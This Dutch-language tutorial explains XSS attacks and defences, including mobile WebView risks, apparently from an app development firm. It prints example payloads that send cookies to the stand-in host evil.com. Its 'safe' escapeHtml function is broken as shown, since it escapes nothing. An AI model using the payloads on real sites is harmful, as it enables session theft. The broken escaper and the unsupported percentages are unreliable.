XSS (Cross-Site Scripting) — een type kwetsbaarheid in webapplicaties waarbij een aanvaller kwaadaardige JavaScript-code injecteert in inhoud die aan andere gebruikers wordt getoond. Volgens gegevens van OWASP Top Ten (2025), blijft XSS een van de meest voorkomende kwetsbaarheden, die meer dan 60% van de webapplicaties treft. Cross-site scripting maakt het mogelijk om sessiecookies te stelen, gebruikers naar phishing-sites te leiden en pagina-inhoud in realtime te wijzigen.
Belangrijkste punten
XSS (Cross-Site Scripting) — is een kwetsbaarheid waarmee een aanvaller JavaScript-code in een webpagina kan injecteren, die vervolgens wordt uitgevoerd in de browser van het slachtoffer. De browser laadt de pagina van een vertrouwde site en voert het geïnjecteerde script uit met dezelfde rechten als de legitieme code van de site. Dit geeft de aanvaller toegang tot cookies, session storage, de DOM-structuur van de pagina en de mogelijkheid om verzoeken namens het slachtoffer te versturen. XSS-kwetsbaarheden ontstaan wanneer de applicatie gebruikersgegevens in een HTML-pagina invoegt zonder juiste escaping of validatie.
De term Cross-Site Scripting verscheen voor het eerst in 2000 in de Microsoft Security Bulletin. In de afgelopen 25 jaar heeft XSS niet aan actualiteit ingeboet: volgens HackerOne (2025) is XSS verantwoordelijk voor ongeveer 22% van alle geregistreerde kwetsbaarheden op het platform. De reden voor de hardnekkigheid van XSS is de complexiteit van het controleren van alle invoerpunten van gebruikersgegevens. Elk invoerveld, URL-parameter, HTTP-verzoekheader of bestandsnaam kan een aanvalsvector worden als de gegevens zonder verwerking in de HTML-code worden weerspiegeld.
XSS-aanvallen kunnen leiden tot diefstal van sessiecookies, waardoor de aanvaller zonder wachtwoord in het account van het slachtoffer kan inloggen. Andere gevolgen: omleiding naar phishing-sites, vervanging van pagina-inhoud, diefstal van persoonlijke gegevens, installatie van kwaadaardige software (drive-by download). In 2023 trof een XSS-aanval op het Salesforce Community Cloud-platform de gegevens van duizenden zakelijke klanten, wat aantoonde dat zelfs grote platforms niet immuun zijn voor deze kwetsbaarheid.
De XSS-classificatie verdeelt aanvallen in drie hoofdtypen op basis van de manier waarop kwaadaardige code wordt geleverd. Elk type vereist een andere benadering van bescherming: Stored XSS wordt geblokkeerd door het escapen van uitvoer uit de database, Reflected — door het escapen van URL-parameters, DOM-based — door veilig werken met de DOM-API. Het begrijpen van het verschil is de basis van een effectieve beveiligingsstrategie.
| Type | Scriptopslag | Leveringsvector | Detectiecomplexiteit |
|---|---|---|---|
| Stored XSS | Serverdatabase | Reacties, profielen, berichten | Gemiddeld |
| Reflected XSS | URL-parameters | Phishing-links, e-mail | Hoog |
| DOM-based XSS | Client-JavaScript | URL-fragmenten, postMessage | Zeer hoog |
Het gevaarlijkste type XSS. De aanvaller injecteert een script in gegevens die de server in de database opslaat en bij elke paginalading weergeeft. Een typische vector — het reactieveld: de aanvaller publiceert een reactie met <script>document.location='https://evil.com/?c='+document.cookie</script>. Elke gebruiker die de pagina laadt met deze reactie, stuurt zijn cookies naar de aanvaller. Stored XSS vereist geen enkele actie van het slachtoffer behalve het bezoeken van de pagina — dit maakt het bijzonder gevaarlijk voor sociale netwerken, forums en blogs.
Het kwaadaardige script wordt in het HTTP-verzoek (meestal in een URL-parameter) doorgegeven en onmiddellijk door de server in het antwoord weerspiegeld. De aanvaller maakt een link van de vorm https://example.com/search?q=<script>...</script> en verspreidt deze via phishing, sociale netwerken of e-mail. Het slachtoffer, dat op de link klikt, krijgt een pagina waar de ingevoerde zoekopdracht (script) zonder escaping wordt weergegeven. Reflected XSS vereist sociale engineering — het slachtoffer moet op de link klikken, wat het risico vermindert maar niet wegneemt.
In tegenstelling tot Stored en Reflected, vereist DOM-based XSS geen gegevens naar de server te sturen. De kwetsbaarheid ontstaat wanneer client-JavaScript gebruikersgegevens uit URL, document.referrer, postMessage of localStorage in de DOM invoegt zonder veilige verwerking. Bijvoorbeeld code van de vorm document.getElementById('output').innerHTML = location.hash.substring(1) voert elke HTML en scripts uit het URL-fragment uit (#<img onerror='...'>). DOM-based XSS is het moeilijkst te detecteren omdat de server nooit de kwaadaardige payload ontvangt — deze wordt volledig op de client verwerkt.
// Voorbeeld DOM-based XSS (KWETSBAARCODE)
// Als userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — gevaarlijk: voegt ruwe HTML in
document.write('<div>' + userInput + '</div>');
// VEILIG ALTERNATIEF — gebruik textContent
document.getElementById('output').textContent = userInput;
Een XSS-aanval maakt misbruik van een fundamentele eigenschap van het web: de browser voert JavaScript uit dat is ontvangen van een vertrouwd domein. Als de aanvaller een manier vindt om zijn code in het HTML-antwoord van de server te injecteren, voert de browser deze uit met dezelfde rechten als de legitieme code. De aanval doorloopt drie fasen: injectie van kwaadaardige code in de inhoud, levering van de inhoud aan de browser van het slachtoffer en uitvoering van de code met toegang tot DOM, cookies en storage.
De aanvaller vindt een toegangspunt — een veld, URL-parameter of header waarvan de waarde door de server in het HTML-antwoord wordt opgenomen zonder escaping. Typische toegangspunten: zoekvelden, reactievelden, gebruikersnaam, avatar-URL, cookie-bestanden, HTTP-headers (User-Agent, Referer). Moderne frameworks (React, Angular, Vue) escapen automatisch de uitvoer, maar programmeurs kunnen escaping uitschakelen via dangerouslySetInnerHTML, bypassSecurityTrustHtml of v-html.
Voor Reflected XSS verspreidt de aanvaller een kwaadaardige link. Voor Stored XSS is het voldoende om inhoud te publiceren op de doelsite, en elke bezoeker van de pagina wordt een slachtoffer. DOM-based XSS wordt geactiveerd bij het laden van de pagina met een specifiek URL-fragment. Alle drie fasen kunnen automatisch worden uitgevoerd: als XSS wordt ontdekt in een advertentiebanner (third-party content), treft de aanval alle gebruikers van de site totdat de banner wordt uitgeschakeld.
// Voorbeeld Reflected XSS in zoeken (KWETSBAAR BACKEND)
// In plaats van parameter q te escapen, voegt de server deze in HTML in
// Express.js — kwetsbare handler:
app.get('/search', (req, res) => {
const query = req.query.q; // gebruikersinvoer
res.send(`<h1>Results for: ${query}</h1>`);
});
// VEILIGE VERSIE — escaping via encodeURI of template-engine:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Mobiele applicaties zijn ook vatbaar voor XSS-aanvallen, zij het in mindere mate dan websites. De belangrijkste vector is WebView en hybride frameworks (Cordova, Capacitor, React Native met WebView). Als de applicatie webinhoud in WebView laadt — vooral gebruikersinhoud (HTML-e-mails, artikelen, berichten) — kan een XSS-kwetsbaarheid leiden tot uitvoering van JavaScript binnen de applicatie met toegang tot native functies via de JavaScript-brug.
Android WebView voert standaard JavaScript uit. Als de applicatie een HTML-string laadt via loadDataWithBaseURL() of gebruikersinhoud weergeeft, kan een XSS-aanval de aanvaller toegang geven tot de JavaScript-interface (addJavascriptInterface). Google heeft het gebruik van @JavascriptInterface voor API < 17 verboden, maar legacy-code in oude applicaties komt nog steeds voor. Bescherming: schakel JavaScript in WebView uit als het niet nodig is en gebruik veilig browsen.
React Native gebruikt geen WebView voor de UI — componenten worden in native weergaven gerenderd. Bij het weergeven van HTML via react-native-webview of rich-text-componenten keert het XSS-risico echter terug. Flutter gebruikt zijn eigen render-engine (Skia) en ondersteunt geen JavaScript in HTML-widgets (flutter_html voert script-tags niet uit), maar WebView-plugins (webview_flutter) zijn kwetsbaar vergelijkbaar met native WebViews. Beste praktijk — geef nooit ongeverifieerde HTML door aan WebView.
// Veilige configuratie van WebView in Android
val webView = findViewById<WebView>(R.id.webview)
// JavaScript uitschakelen als interactiviteit niet nodig is
webView.settings.javaScriptEnabled = false
// HTML sanitiseren voor het laden
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
Bescherming tegen XSS is gebaseerd op drie principes: vertrouw gebruikersinvoer niet, escape vóór uitvoer, gebruik Content Security Policy. Output escaping (output encoding) — de belangrijkste methode: alle van de gebruiker ontvangen gegevens moeten worden geëscaped voordat ze in HTML, JavaScript, CSS of URL worden ingevoegd. Moderne template-engines (Twig, Handlebars, JSX, Blade) doen dit automatisch, als de programmeur escaping niet uitschakelt met speciale methoden.
Escaping is afhankelijk van de context waarin gegevens worden ingevoegd. In HTML-context worden <, >, &, aanhalingstekens geëscaped. In JavaScript-context worden backticks,
, </script> geëscaped. In CSS-context — controletekens. In URL-context — URL-codering. Een contextfout — bijvoorbeeld het invoegen van een HTML-geëscaped string in een onclick-attribuut — beschermt niet tegen XSS, omdat onclick wordt uitgevoerd in JavaScript-context, waar een andere escaping nodig is.
CSP — een HTTP-header die de bronnen beperkt waarvan de browser scripts, stijlen en andere bronnen kan laden. Strikte CSP (zonder unsafe-inline, zonder unsafe-eval) blokkeert de uitvoering van alle inline-scripts, inclusief XSS-vectoren. Volgens Google Security Blog (2025) blokkeren sites met CSP 95% van de XSS-aanvallen. Voorbeeld: Content-Security-Policy: default-src 'self'; script-src 'self' verbiedt alle externe en inline-scripts. CSP beschermt niet tegen Stored XSS als het script van hetzelfde domein wordt geladen, maar dit vereist extra inspanning van de aanvaller.
Het instellen van de HttpOnly-vlag voor cookies voorkomt toegang via JavaScript (document.cookie), wat diefstal van sessiecookies via XSS blokkeert. De Secure-vlag garandeert dat de cookie alleen via HTTPS wordt verzonden. De combinatie HttpOnly + Secure + SameSite=Lax maakt diefstal van sessiecookies via XSS praktisch onmogelijk. XSS kan echter nog steeds acties uitvoeren namens de gebruiker (bijvoorbeeld verzoeken verzenden), dus HttpOnly is geen wondermiddel, maar een onderdeel van uitgebreide bescherming.
| Beschermingsmethode | Tegen welke XSS-typen beschermt het | Effectiviteit |
|---|---|---|
| Output escaping | Stored, Reflected, DOM-based | 99% |
| CSP | Inline XSS, eval-based | 95% |
| HttpOnly cookies | Sessiediefstal via XSS | 100% (niet leesbaar) |
| Invoervalidatie | Stored, Reflected | 50% (afhankelijk van type) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
Regelmatig testen op XSS — een verplicht onderdeel van de CI/CD-pipeline van veilige ontwikkeling. Geautomatiseerde scanners vinden tot 80% van de XSS-kwetsbaarheden, de rest vereist handmatige pentesten. De beste aanpak is een combinatie van SAST-analyse (statisch), DAST-scannen (dynamisch) en code review met focus op de invoerpunten van gebruikersgegevens.
Voor mobiele applicaties omvat XSS-testen WebView-analyse: controle van JavaScript-interfaces, verwerking van URL-schema's en overdracht van HTML naar loadDataWithBaseURL. Het wordt ook aanbevolen om de verwerking van postMessage in hybride applicaties te testen en te controleren welke gegevens via de JavaScript-brug worden doorgegeven. Gebruik een emulator met proxy (Burp Suite) voor het onderscheppen en wijzigen van mobiel applicatieverkeer.
Veelgestelde vragen
Stored XSS slaat het kwaadaardige script op de server op (in de database) en wordt geactiveerd bij elke paginalading. Reflected XSS geeft het script door via een URL-parameter en de aanval wordt alleen geactiveerd bij het klikken op een kwaadaardige link. Stored is gevaarlijker omdat het geen actie van het slachtoffer vereist — het is voldoende om de geïnfecteerde pagina te openen.
Nee, HTTPS beschermt niet tegen XSS. HTTPS versleutelt het verkeer tussen browser en server, maar heeft geen invloed op de verwerking van gebruikersinvoer aan de serverzijde. XSS-kwetsbaarheid bestaat op applicatieniveau, niet op transportniveau. HTTPS is het verplichte beveiligingsminimum, maar geen bescherming tegen XSS.
In de meeste gevallen wordt XSS uitgevoerd in de sandbox van de browser of WebView en heeft het geen toegang tot het bestandssysteem of de hardware van het apparaat. In Android WebView met ingeschakelde JavaScript-interface kan het XSS-script echter native methoden van de applicatie aanroepen. In iOS WKWebView kan het ook gegevens onthullen via JavaScriptCore, als de juiste brug is geconfigureerd.
Gebruik Burp Suite of OWASP ZAP met een geconfigureerde proxy op het mobiele apparaat. Onderschep applicatieverzoeken, wijzig parameters en stuur XSS-payloads door. Controleer WebView op HTML-verwerking via loadDataWithBaseURL en de aanwezigheid van JavaScript-bruggen. Test voor React Native de WebView-componenten afzonderlijk.
DOM-based XSS — is een aanval waarbij JavaScript op de pagina zelf gegevens uit de URL of andere bronnen haalt en deze zonder controle in HTML invoegt. De server doet niet mee — de kwaadaardige code wordt volledig in de browser verwerkt. Een typisch voorbeeld: de site haalt tekst uit location.hash en voegt deze via innerHTML in, waardoor elke HTML-code kan worden uitgevoerd.
Samenvatting
We ontwikkelen een mobiele applicatie turnkey
IT Sectr creëert sinds 2017 iOS- en Android-applicaties voor startups en bedrijven. We adviseren u en stellen de beste oplossing voor.
Lees ook